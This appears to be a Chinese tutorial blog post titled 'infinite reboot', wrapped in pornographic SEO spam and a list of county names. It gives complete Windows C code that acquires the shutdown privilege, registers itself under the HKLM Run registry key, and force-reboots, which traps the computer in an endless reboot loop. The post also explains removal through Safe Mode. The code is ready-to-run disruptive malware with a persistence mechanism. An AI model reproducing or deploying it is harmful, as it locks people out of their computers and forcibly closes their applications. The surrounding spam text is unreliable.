国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 開發(fā)設(shè)計 > 正文

無限重啟

2019-11-10 23:20:52
字體:
供稿:網(wǎng)友

思路:先寫出讓電腦重啟的代碼,然后更改注冊表,將這個代碼生成的程序設(shè)為開機(jī)自啟。主要要用到一個Windows函數(shù):ExitWindowsEx,此函數(shù)的功能是關(guān)閉電腦或者重啟電腦。 這個函數(shù)的具體用法可以參考MSDN中關(guān)于ExitWindowsEx的詳細(xì)介紹 注:此程序最好用英文命名,否則會有一些問題,具體什么問題稍后會說明。

#include <windows.h>BOOL MySystemShutdown(){ HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(FALSE); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_OperaTINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED)) return FALSE; /*EWX_REBOOT表示重啟電腦,將EWX_REBOOT 改為EWX_SHUTDOWN就會直接關(guān)閉電腦,不會重啟*/ //shutdown was successful return TRUE;}int main() { HKEY hkey = { 0 }; RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE//Microsoft//Windows//CurrentVersion//Run", 0, KEY_WRITE, &hkey); char path[MAX_PATH] = { 0 }; GetModuleFileNameA(nullptr, path, MAX_PATH); RegSetValueExA(hkey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path)); /*以上這段代碼的功能是在注冊表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run路徑下新建一個字符串值,其名字為“ShutDown”,值為該程序的所在路徑,一開機(jī)就會去這個路徑下查找這個程序并且執(zhí)行*/ MySystemShutdown(); return 0;}

解決辦法:當(dāng)運行這個程序的時候,電腦每次開機(jī)進(jìn)入系統(tǒng)就會一直重啟,要想不讓這個程序執(zhí)行,可在開機(jī)時進(jìn)入安全模式(不同的機(jī)器和系統(tǒng)進(jìn)入安全模式的方式可能不一樣,網(wǎng)上有很多教程,請同學(xué)們自行百度,這里不再一一介紹),刪除這個程序即可,這就是為什么程序要用英文命名,如果是中文的話,在安全模式下可能無法輸入中文,可能沒有辦法刪除這個程序(當(dāng)然也不是絕對不可能,只是會麻煩一些)。


發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 威远县| 清徐县| 长顺县| 图木舒克市| 新巴尔虎右旗| 中山市| 阳谷县| 宜良县| 高淳县| 凌云县| 柯坪县| 卓尼县| 金秀| 景谷| 广安市| 凤山县| 二连浩特市| 闻喜县| 台南县| 淮安市| 宁陕县| 龙泉市| 昌黎县| 文登市| 清原| 宿松县| 沂南县| 舟山市| 钟祥市| 曲沃县| 武川县| 佛坪县| 甘肃省| 新蔡县| 永顺县| 鄂尔多斯市| 鄂温| 普安县| 湘西| 彭山县| 英德市|